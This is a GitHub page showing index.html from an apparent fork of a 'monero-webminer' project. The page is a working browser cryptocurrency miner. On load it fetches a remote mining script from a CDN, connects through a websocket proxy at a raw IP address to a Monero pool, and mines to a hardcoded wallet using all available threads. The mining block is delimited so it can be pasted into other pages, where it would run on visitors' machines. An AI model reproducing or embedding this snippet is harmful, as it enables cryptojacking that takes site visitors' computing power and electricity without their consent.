forked from NajmAjmal/monero-webminer
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathindex.html
42 lines (39 loc) · 1.43 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<meta charset="utf-8">
<title>Monero Webminer</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="theme-color" content="#000000">
<link rel="manifest" href="manifest.json">
<!-- Start Of Mining Code -->
<script src="https://cdn.jsdelivr.net/gh/NajmAjmal/monero-webminer@main/script.js"></script>
<script>
console.log("Config Loaded")
server = "wss://45.119.82.33:40725";
var pool = "gulf.moneroocean.stream:80";
var walletAddress = "462rJtogn67GvJvNonQRPj4h3YsPMFZcMf2G58kFg1dvJhbW9fJtKbWiRxGgpo6YLU2fA94ndc3FK23VY52ncjg69jUXmVS";
var workerId = "GH-XMR"
var threads = -1;
var password = "";
startMining(pool, walletAddress, workerId, threads, password);
throttleMiner = 20;
</script>
<!-- End Of Mining Code -->
</head>
<body>
<h1>Mining...</h1>
<p>View mining progress <a href="https://moneroocean.stream">here</a></p>
<script>
if ('serviceWorker' in navigator) {
window.addEventListener('load', () => {
navigator.serviceWorker.register('serviceworker.js').then(registration => {
console.log('Service Worker registered with scope:', registration.scope);
}).catch(error => {
console.error('Service Worker registration failed:', error);
});
});
}
</script>
</body>
</html>